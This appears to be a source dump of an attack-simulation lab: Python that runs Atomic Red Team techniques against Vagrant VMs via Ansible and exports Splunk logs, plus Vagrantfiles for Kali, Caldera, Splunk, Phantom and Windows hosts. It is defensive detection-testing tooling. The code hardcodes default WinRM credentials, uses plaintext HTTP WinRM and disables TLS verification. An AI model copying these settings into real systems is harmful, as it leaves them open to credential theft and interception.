109 | extravars={'art_branch': self.config['art_branch'], 'art_repository': self.config['art_repository'], 'run_specific_atomic_tests': run_specific_atomic_tests, 'art_run_tests': simulation_atomics, 'art_run_techniques': simulation_techniques, 'ansible_user': 'Vagrant', 'ansible_password': 'vagrant', 'ansible_port': 5985, 'ansible_winrm_scheme': 'http'}, 110 | verbosity=0) 111 | 112 | if runner.status == "successful": 113 | self.log.info("successfully executed technique ID {0} against target: {1}".format(simulation_techniques, target)) 114 | else: 115 | self.log.error("failed to executed technique ID {0} against target: {1}".format(simulation_techniques, target)) 116 | sys.exit(1) 117 | 118 | 119 | def get_ip_address_from_machine(self, box): 120 | pattern = 'config.vm.define "' + box + '"[\s\S]*?:private_network, ip: "([^"]+)' 121 | match = re.search(pattern, self.vagrantfile) 122 | return match.group(1) 123 | 124 | 125 | def check_targets_running_vagrant(self, target, log): 126 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False) 127 | status = v1.status() 128 | 129 | found_box = False 130 | for stat in status: 131 | if stat.name == target: 132 | found_box = True 133 | if not (stat.state == 'running'): 134 | log.error(target + ' not running.') 135 | sys.exit(1) 136 | break 137 | if not found_box: 138 | log.error(target + ' not found as vagrant box.') 139 | sys.exit(1) 140 | 141 | 142 | def list_machines(self): 143 | print() 144 | print('Vagrant Status\n') 145 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False) 146 | response = v1.status() 147 | status = [] 148 | for stat in response: 149 | status.append([stat.name, stat.state, self.get_ip_address_from_machine(stat.name)]) 150 | 151 | print(tabulate(status, headers=['Name','Status','IP Address'])) 152 | print() 153 | 154 | def dump(self, dump_name): 155 | self.log.info("Dump log data") 156 | 157 | folder = "attack_data/" + dump_name 158 | os.mkdir(os.path.join(os.path.dirname(__file__), '../' + folder)) 159 | 160 | 161 | with open(os.path.join(os.path.dirname(__file__), '../attack_data/dumps.yml')) as dumps: 162 | for dump in yaml.full_load(dumps): 163 | if dump['enabled']: 164 | dump_out = dump['dump_parameters']['out'] 165 | dump_search = "search %s earliest=%s | sort 0 _time" \ 166 | % (dump['dump_parameters']['search'], dump['dump_parameters']['time']) 167 | dump_info = "Dumping Splunk Search to %s " % dump_out 168 | self.log.info(dump_info) 169 | out = open(os.path.join(os.path.dirname(__file__), "../attack_data/" + dump_name + "/" + dump_out), 'wb') 170 | splunk_sdk.export_search(self.config['splunk_server_private_ip'], 171 | s=dump_search, 172 | password=self.config['splunk_admin_password'], 173 | out=out) 174 | out.close() 175 | self.log.info("%s [Completed]" % dump_info) 176 | -------------------------------------------------------------------------------- /modules/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | def setup_logging(LOG_PATH,LOG_LEVEL): 4 | """Creates a shared logging object for the application""" 5 | 6 | # create logging object 7 | logger = logging.getLogger('attack_range') 8 | logger.setLevel(LOG_LEVEL) 9 | # create a file and console handler 10 | fh = logging.FileHandler(LOG_PATH) 11 | fh.setLevel(LOG_LEVEL) 12 | ch = logging.StreamHandler() 13 | ch.setLevel(LOG_LEVEL) 14 | # create a logging format 15 | formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(name)s - %(message)s') 16 | fh.setFormatter(formatter) 17 | ch.setFormatter(formatter) 18 | # add the handlers to the logger 19 | logger.addHandler(fh) 20 | logger.addHandler(ch) 21 | return logger 22 | 23 | def get(): 24 | logger = logging.getLogger('attack_range') 25 | return logger 26 | -------------------------------------------------------------------------------- /modules/splunk_sdk.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | import time 4 | from time import sleep 5 | import splunklib.results as results 6 | import splunklib.client as client 7 | import splunklib.results as results 8 | import requests 9 | from xml.etree import ElementTree 10 | 11 | 12 | def export_search(host, s, password, export_mode="raw", out=sys.stdout, username="admin", port=8089): 13 | """ 14 | Exports events from a search using Splunk REST API to a local file. 15 | 16 | This is faster than performing a search/export from Splunk Python SDK. 17 | 18 | @param host: splunk server address 19 | @param s: search that matches events 20 | @param password: Splunk server password 21 | @param export_mode: default `raw`. `csv`, `xml`, or `json` 22 | @param out: local file pointer to write the results 23 | @param username: Splunk server username 24 | @param port: Splunk server port 25 | """ 26 | import urllib3 27 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 28 | 29 | r = requests.post("https://%s:%d/servicesNS/admin/search/search/jobs/export" % (host, port), 30 | auth=(username, password), 31 | data={'output_mode': export_mode, 32 | 'search': s, 33 | 'max_count': 1000000}, 34 | verify=False) 35 | out.write(r.text.encode('utf-8')) 36 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | ansible==2.9.2 2 | ansible-runner==1.4.4 3 | Jinja2==2.11.3 4 | python-vagrant==0.5.15 5 | pywinrm==0.4.1 6 | PyYAML==5.4 7 | splunk-sdk==1.6.12 8 | tabulate==0.8.6 9 | -------------------------------------------------------------------------------- /vagrant/caldera-server/Vagrantfile: -------------------------------------------------------------------------------- 1 | config.vm.define "attack-range-caldera-server" do |config| 2 | VM_NAME= "attack-range-caldera-server" 3 | config.vm.box = "generic/ubuntu1804" 4 | config.vm.hostname = "#{VM_NAME}" 5 | config.vm.boot_timeout = 600 6 | config.vm.network "forwarded_port", guest: 8888, host: 8888, protocol: "tcp" 7 | config.vm.network :private_network, ip: "{{ caldera_server_private_ip }}" 8 | 9 | config.vm.provision "ansible" do |ansible| 10 | ansible.playbook = "../ansible/caldera_server.yml" 11 | ansible.config_file = "../ansible/ansible.cfg" 12 | ansible.compatibility_mode = "2.0" 13 | ansible.extra_vars = { 14 | ansible_python_interpreter: "/usr/bin/python3", 15 | caldera_password: '{{ caldera_password }}', 16 | caldera_server_ip: '{{ caldera_server_private_ip }}', 17 | cloud_attack_range: '0' 18 | } 19 | end 20 | 21 | config.vm.provider "virtualbox" do |vb, override| 22 | vb.gui = true 23 | vb.name = "#{VM_NAME}" 24 | vb.customize ["modifyvm", :id, "--memory", {{ caldera_server_memory }}] 25 | vb.customize ["modifyvm", :id, "--cpus", {{ caldera_server_cpus }}] 26 | end 27 | end 28 | -------------------------------------------------------------------------------- /vagrant/kali-machine/Vagrantfile: -------------------------------------------------------------------------------- 1 | config.vm.define "attack-range-kali_machine" do |config| 2 | VM_NAME_KALI= "attack-range-kali_machine" 3 | config.vm.box = "kalilinux/rolling" 4 | config.vm.box_version = "2019.3.0" 5 | config.vm.boot_timeout = 600 6 | config.vm.hostname = "kali" 7 | config.vm.network :private_network, ip: "{{ kali_machine_private_ip }}" 8 | 9 | config.vm.provision "ansible" do |ansible| 10 | ansible.playbook = "../ansible/kali_linux.yml" 11 | ansible.config_file = "../ansible/ansible.cfg" 12 | ansible.compatibility_mode = "2.0" 13 | ansible.extra_vars = { 14 | ansible_python_interpreter: "/usr/bin/python3", 15 | run_demo: '{{ run_demo }}', 16 | demo_scenario: '{{ demo_scenario }}' 17 | } 18 | end 19 | 20 | config.vm.provider "virtualbox" do |vb, override| 21 | vb.gui = true 22 | vb.name = "#{VM_NAME_KALI}" 23 | vb.customize ["modifyvm", :id, "--memory", {{ kali_machine_memory }}] 24 | vb.customize ["modifyvm", :id, "--cpus", {{ kali_machine_cpus }}] 25 | end 26 | end 27 | -------------------------------------------------------------------------------- /vagrant/phantom-server/Vagrantfile: -------------------------------------------------------------------------------- 1 | config.vm.define "attack-range-phantom-server" do |config| 2 | VM_NAME_P= "attack-range-phantom-server" 3 | config.vm.box = "centos/7" 4 | config.vm.hostname = "#{VM_NAME_P}" 5 | config.vm.boot_timeout = 600 6 | config.vm.network "forwarded_port", guest: 443, host: 8443, protocol: "tcp" 7 | config.vm.network :private_network, ip: "{{ phantom_server_private_ip }}" 8 | 9 | config.vm.provision "ansible" do |ansible| 10 | ansible.playbook = "../ansible/phantom_server.yml" 11 | ansible.config_file = "../ansible/ansible.cfg" 12 | ansible.compatibility_mode = "2.0" 13 | ansible.extra_vars = { 14 | phantom_admin_password: '{{ phantom_admin_password }}', 15 | phantom_community_username: '{{ phantom_community_username }}', 16 | phantom_community_password: '{{ phantom_community_password }}', 17 | phantom_server_private_ip: '{{ phantom_server_private_ip }}' 18 | } 19 | end 20 | 21 | config.vm.provider "virtualbox" do |vb, override| 22 | vb.gui = true 23 | vb.name = "#{VM_NAME_P}" 24 | vb.customize ["modifyvm", :id, "--memory", {{ phantom_server_memory }}] 25 | vb.customize ["modifyvm", :id, "--cpus", {{ phantom_server_cpus }}] 26 | end 27 | end 28 | -------------------------------------------------------------------------------- /vagrant/splunk_server/Vagrantfile: -------------------------------------------------------------------------------- 1 | config.vm.define "attack-range-splunk-server" do |config| 2 | VM_NAME= "attack-range-splunk-server" 3 | config.vm.box = "generic/ubuntu1804" 4 | config.vm.hostname = "#{VM_NAME}" 5 | config.vm.boot_timeout = 600 6 | config.vm.network "forwarded_port", guest: 8000, host: 8000, protocol: "tcp" 7 | config.vm.network "forwarded_port", guest: 8089, host: 8089, protocol: "tcp" 8 | config.vm.network :private_network, ip: "{{ splunk_server_private_ip }}" 9 | 10 | config.vm.provision "ansible" do |ansible| 11 | ansible.playbook = "../ansible/splunk_server.yml" 12 | ansible.config_file = "../ansible/ansible.cfg" 13 | ansible.compatibility_mode = "2.0" 14 | ansible.extra_vars = { 15 | ansible_python_interpreter: "/usr/bin/python3", 16 | splunk_admin_password: '{{ splunk_admin_password }}', 17 | splunk_url: '{{ splunk_url }}', 18 | splunk_binary: '{{ splunk_binary }}', 19 | s3_bucket_url: '{{ s3_bucket_url }}', 20 | splunk_escu_app: '{{ splunk_escu_app }}', 21 | splunk_asx_app: '{{ splunk_asx_app }}', 22 | splunk_windows_ta: '{{ splunk_windows_ta }}', 23 | splunk_cim_app: '{{ splunk_cim_app }}', 24 | splunk_sysmon_ta: '{{ splunk_sysmon_ta }}', 25 | caldera_password: '{{ caldera_password }}', 26 | splunk_mltk_app: '{{ splunk_mltk_app }}', 27 | splunk_bots_dataset: '{{ splunk_bots_dataset }}', 28 | splunk_stream_app: '{{ splunk_stream_app }}', 29 | splunk_python_app: '{{ splunk_python_app }}', 30 | install_es: '{{ install_es }}', 31 | install_mltk: '{{ install_mltk }}', 32 | splunk_es_app: '{{ splunk_es_app }}', 33 | splunk_es_app_version: '{{ splunk_es_app_version }}', 34 | phantom_app: '{{ phantom_app }}', 35 | phantom_server: '{{ phantom_server }}', 36 | phantom_server_private_ip: '{{ phantom_server_private_ip }}', 37 | phantom_admin_password: '{{ phantom_admin_password }}', 38 | splunk_security_essentials_app: '{{ splunk_security_essentials_app }}', 39 | punchard_custom_visualization: '{{ punchard_custom_visualization }}', 40 | status_indicator_custom_visualization: '{{ status_indicator_custom_visualization }}', 41 | splunk_attack_range_dashboard: '{{ splunk_attack_range_dashboard }}', 42 | timeline_custom_visualization: '{{ timeline_custom_visualization }}', 43 | install_mission_control: '{{ install_mission_control }}', 44 | mission_control_app: '{{ mission_control_app }}', 45 | install_dsp: '{{ install_dsp }}', 46 | dsp_client_cert_path: '{{ dsp_client_cert_path }}', 47 | dsp_node: '{{ dsp_node }}', 48 | splunk_server_private_ip: '{{ splunk_server_private_ip }}', 49 | cloud_attack_range: '0' 50 | } 51 | end 52 | 53 | config.vm.provider "virtualbox" do |vb, override| 54 | vb.gui = true 55 | vb.name = "#{VM_NAME}" 56 | vb.customize ["modifyvm", :id, "--memory", {{ splunk_server_memory }}] 57 | vb.customize ["modifyvm", :id, "--cpus", {{ splunk_server_cpus }}] 58 | end 59 | end 60 | -------------------------------------------------------------------------------- /vagrant/windows-domain-controller/Vagrantfile: -------------------------------------------------------------------------------- 1 | 2 | config.vm.define "attack-range-windows-domain-controller" do |config| 3 | VM_NAME_WIN_DC= "attack-range-windows-domain-controller" 4 | config.vm.box = "d1vious/windows2016" 5 | config.vm.hostname = "dc" 6 | config.vm.boot_timeout = 600 7 | config.vm.communicator = "winrm" 8 | config.winrm.transport = :plaintext 9 | config.winrm.basic_auth_only = true 10 | config.winrm.timeout = 300 11 | config.winrm.retry_limit = 20 12 | config.vm.network "forwarded_port", guest: 5985, host: 6000 13 | config.vm.network :private_network, ip: "{{ windows_domain_controller_private_ip }}" 14 | config.vm.synced_folder '.', '/vagrant', disabled: true 15 | 16 | config.vm.provision "ansible" do |ansible| 17 | ansible.extra_vars = { 18 | ansible_port: 6000, 19 | ansible_winrm_scheme: 'http', 20 | splunk_server: "{{ splunk_server }}", 21 | splunk_indexer_ip: "{{ splunk_server_private_ip }}", 22 | caldera_server_ip: '{{ caldera_server_private_ip }}', 23 | win_password: '{{ win_password }}', 24 | splunk_uf_win_url: '{{ splunk_uf_win_url }}', 25 | nxlog_url: '{{ nxlog_url }}', 26 | install_dsp: '{{ install_dsp }}', 27 | win_sysmon_url: '{{ win_sysmon_url }}', 28 | win_sysmon_template: '{{ win_sysmon_template }}', 29 | splunk_admin_password: '{{ splunk_admin_password }}', 30 | capture_attack_data: '{{ capture_attack_data }}', 31 | win_timezone: '{{ win_timezone }}', 32 | } 33 | ansible.playbook = "../ansible/windows_dc.yml" 34 | ansible.config_file = "../ansible/ansible.cfg" 35 | ansible.compatibility_mode = "2.0" 36 | end 37 | 38 | config.vm.provider "virtualbox" do |vb, override| 39 | vb.gui = true 40 | vb.name = "#{VM_NAME_WIN_DC}" 41 | vb.customize ["modifyvm", :id, "--memory", {{ windows_domain_controller_memory }}] 42 | vb.customize ["modifyvm", :id, "--cpus", {{ windows_domain_controller_cpus }}] 43 | vb.customize ["modifyvm", :id, "--vram", "32"] 44 | vb.customize ["modifyvm", :id, "--clipboard", "bidirectional"] 45 | vb.customize ["setextradata", "global", "GUI/SuppressMessages", "all" ] 46 | end 47 | end 48 | -------------------------------------------------------------------------------- /vagrant/windows-server/Vagrantfile: -------------------------------------------------------------------------------- 1 | 2 | 3 | config.vm.define "attack-range-windows-server" do |config| 4 | VM_NAME_WIN_DC_CLIENT= "attack-range-windows-server" 5 | config.vm.box = "d1vious/windows2016" 6 | config.vm.hostname = "win-server" 7 | config.vm.boot_timeout = 600 8 | config.vm.communicator = "winrm" 9 | config.winrm.transport = :plaintext 10 | config.winrm.basic_auth_only = true 11 | config.winrm.timeout = 300 12 | config.winrm.retry_limit = 20 13 | config.vm.network "forwarded_port", guest: 5985, host: 6001 14 | config.vm.network :private_network, ip: "{{ windows_server_private_ip }}" 15 | config.vm.synced_folder '.', '/vagrant', disabled: true 16 | 17 | config.vm.provision "ansible" do |ansible| 18 | ansible.extra_vars = { 19 | ansible_port: 6001, 20 | ansible_winrm_scheme: 'http', 21 | splunk_server: "{{ splunk_server }}", 22 | splunk_indexer_ip: "{{ splunk_server_private_ip }}", 23 | caldera_server_ip: '{{ caldera_server_private_ip }}', 24 | win_password: '{{ win_password }}', 25 | splunk_uf_win_url: '{{ splunk_uf_win_url }}', 26 | nxlog_url: '{{ nxlog_url }}', 27 | install_dsp: '{{ install_dsp }}', 28 | win_sysmon_url: '{{ win_sysmon_url }}', 29 | win_sysmon_template: '{{ win_sysmon_template }}', 30 | splunk_admin_password: '{{ splunk_admin_password }}', 31 | windows_server_join_domain: '{{ windows_server_join_domain }}', 32 | windows_domain_controller_private_ip: '{{ windows_domain_controller_private_ip }}', 33 | run_demo: '{{ run_demo }}', 34 | demo_scenario: '{{ demo_scenario }}', 35 | capture_attack_data: '{{ capture_attack_data }}', 36 | win_timezone: '{{ win_timezone }}' 37 | } 38 | ansible.playbook = "../ansible/windows_dc_client.yml" 39 | ansible.config_file = "../ansible/ansible.cfg" 40 | ansible.compatibility_mode = "2.0" 41 | end 42 | 43 | config.vm.provider "virtualbox" do |vb, override| 44 | vb.gui = true 45 | vb.name = "#{VM_NAME_WIN_DC_CLIENT}" 46 | vb.customize ["modifyvm", :id, "--memory", {{ windows_server_memory }}] 47 | vb.customize ["modifyvm", :id, "--cpus", {{ windows_server_cpus }}] 48 | vb.customize ["modifyvm", :id, "--vram", "32"] 49 | vb.customize ["modifyvm", :id, "--clipboard", "bidirectional"] 50 | vb.customize ["setextradata", "global", "GUI/SuppressMessages", "all" ] 51 | end 52 | end 53 | -------------------------------------------------------------------------------- /vagrant/windows10/Vagrantfile: -------------------------------------------------------------------------------- 1 | config.vm.define "attack-range-win10" do |config| 2 | VM_NAME_WIN= "attack-range-win10" 3 | config.vm.box = "d1vious/windows10" 4 | config.vm.hostname = "win10" 5 | config.vm.boot_timeout = 600 6 | config.vm.communicator = "winrm" 7 | config.winrm.basic_auth_only = true 8 | config.winrm.timeout = 300 9 | config.winrm.retry_limit = 20 10 | config.vm.network "forwarded_port", guest: 5985, host: 5985 11 | config.vm.network :private_network, ip: "{{ windows_client_private_ip }}" 12 | config.vm.synced_folder '.', '/vagrant', disabled: true 13 | 14 | config.vm.provision "ansible" do |ansible| 15 | ansible.extra_vars = { 16 | ansible_port: 5985, 17 | splunk_server: "{{ splunk_server }}", 18 | splunk_indexer_ip: "{{ splunk_server_private_ip }}", 19 | caldera_server_ip: '{{ caldera_server_private_ip }}', 20 | win_password: '{{ win_password }}', 21 | splunk_uf_win_url: '{{ splunk_uf_win_url }}', 22 | nxlog_url: '{{ nxlog_url }}', 23 | install_dsp: '{{ install_dsp }}', 24 | win_sysmon_url: '{{ win_sysmon_url }}', 25 | win_sysmon_template: '{{ win_sysmon_template }}', 26 | splunk_admin_password: '{{ splunk_admin_password }}', 27 | windows_server_join_domain: '{{ windows_client_join_domain }}', 28 | windows_domain_controller_private_ip: '{{ windows_domain_controller_private_ip }}', 29 | run_demo: '{{ run_demo }}', 30 | demo_scenario: '{{ demo_scenario }}', 31 | capture_attack_data: '{{ capture_attack_data }}', 32 | win_timezone: '{{ win_timezone }}' 33 | } 34 | ansible.playbook = "../ansible/windows_workstation.yml" 35 | ansible.config_file = "../ansible/ansible.cfg" 36 | ansible.compatibility_mode = "2.0" 37 | end 38 | 39 | config.vm.provider "virtualbox" do |vb, override| 40 | vb.gui = true 41 | vb.name = "#{VM_NAME_WIN}" 42 | vb.customize ["modifyvm", :id, "--memory", {{ windows_client_memory }}] 43 | vb.customize ["modifyvm", :id, "--cpus", {{ windows_client_cpus }}] 44 | vb.customize ["modifyvm", :id, "--vram", "32"] 45 | vb.customize ["modifyvm", :id, "--clipboard", "bidirectional"] 46 | vb.customize ["setextradata", "global", "GUI/SuppressMessages", "all" ] 47 | end 48 | end 49 | --------------------------------------------------------------------------------